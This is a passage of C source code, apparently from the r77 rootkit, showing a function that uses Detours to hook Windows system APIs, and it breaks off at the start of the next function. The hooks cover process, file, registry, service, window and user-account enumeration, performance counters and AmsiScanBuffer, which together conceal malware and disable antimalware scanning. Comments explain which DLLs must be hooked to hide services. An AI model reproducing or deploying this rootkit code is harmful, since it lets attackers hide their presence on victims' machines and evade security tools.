Function InitializeHooks

r77/Hooks.c:42–83

static DWORD TlsNtEnumerateValueKeyCacheCorrectedIndex;

VOID InitializeHooks()
{
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	InstallHook("ntdll.dll", "NtQuerySystemInformation", (LPVOID*)&OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation);
	InstallHook("ntdll.dll", "NtResumeThread", (LPVOID*)&OriginalNtResumeThread, HookedNtResumeThread);
	InstallHook("ntdll.dll", "NtQueryDirectoryFile", (LPVOID*)&OriginalNtQueryDirectoryFile, HookedNtQueryDirectoryFile);
	InstallHook("ntdll.dll", "NtQueryDirectoryFileEx", (LPVOID*)&OriginalNtQueryDirectoryFileEx, HookedNtQueryDirectoryFileEx);
	InstallHook("ntdll.dll", "NtQueryKey", (LPVOID*)&OriginalNtQueryKey, HookedNtQueryKey);
	InstallHook("ntdll.dll", "NtEnumerateKey", (LPVOID*)&OriginalNtEnumerateKey, HookedNtEnumerateKey);
	InstallHook("ntdll.dll", "NtEnumerateValueKey", (LPVOID*)&OriginalNtEnumerateValueKey, HookedNtEnumerateValueKey);
	InstallHook("win32u.dll", "NtUserBuildHwndList", (LPVOID*)&OriginalNtUserBuildHwndList, HookedNtUserBuildHwndList);
	InstallHook("advapi32.dll", "EnumServicesStatusA", (LPVOID*)&OriginalEnumServicesStatusA, HookedEnumServicesStatusA);
	InstallHook("advapi32.dll", "EnumServicesStatusW", (LPVOID*)&OriginalEnumServicesStatusW, HookedEnumServicesStatusW);
	InstallHook("advapi32.dll", "EnumServiceGroupW", (LPVOID*)&OriginalEnumServiceGroupW, HookedEnumServiceGroupW);
	InstallHook("advapi32.dll", "EnumServicesStatusExA", (LPVOID*)&OriginalEnumServicesStatusExA, HookedEnumServicesStatusExA);
	InstallHook("advapi32.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW, HookedEnumServicesStatusExW);
	InstallHook("sechost.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW2, HookedEnumServicesStatusExW2);
	InstallHook("ntdll.dll", "NtDeviceIoControlFile", (LPVOID*)&OriginalNtDeviceIoControlFile, HookedNtDeviceIoControlFile);
	InstallHook("samlib.dll", "SamEnumerateUsersInDomain", (LPVOID*)&OriginalSamEnumerateUsersInDomain, HookedSamEnumerateUsersInDomain);
	InstallHook("samlib.dll", "SamQueryDisplayInformation", (LPVOID*)&OriginalSamQueryDisplayInformation, HookedSamQueryDisplayInformation);
	InstallHook("pdh.dll", "PdhGetRawCounterArrayW", (LPVOID*)&OriginalPdhGetRawCounterArrayW, HookedPdhGetRawCounterArrayW);
	InstallHook("pdh.dll", "PdhGetFormattedCounterArrayW", (LPVOID*)&OriginalPdhGetFormattedCounterArrayW, HookedPdhGetFormattedCounterArrayW);
	InstallHook("amsi.dll", "AmsiScanBuffer", (LPVOID*)&OriginalAmsiScanBuffer, HookedAmsiScanBuffer);
	DetourTransactionCommit();

	// Usually, ntdll.dll should be the only DLL to hook.
	// Unfortunately, the actual enumeration of services happens in services.exe - a protected process that cannot be injected.
	// The EnumService* methods from advapi32.dll access services.exe through RPC.
	// There is no longer one single syscall wrapper function to hook, but multiple higher level functions.

	// The same applies to a select few other functions as well. HOWEVER: Any function that is exposed in ntdll WILL be hooked there, not in higher level DLLs.

	TlsNtEnumerateKeyCacheKey = TlsAlloc();
	TlsNtEnumerateKeyCacheIndex = TlsAlloc();
	TlsNtEnumerateKeyCacheI = TlsAlloc();
	TlsNtEnumerateKeyCacheCorrectedIndex = TlsAlloc();
	TlsNtEnumerateValueKeyCacheKey = TlsAlloc();
	TlsNtEnumerateValueKeyCacheIndex = TlsAlloc();
	TlsNtEnumerateValueKeyCacheI = TlsAlloc();
	TlsNtEnumerateValueKeyCacheCorrectedIndex = TlsAlloc();
}
VOID UninitializeHooks()
{
	DetourTransactionBegin();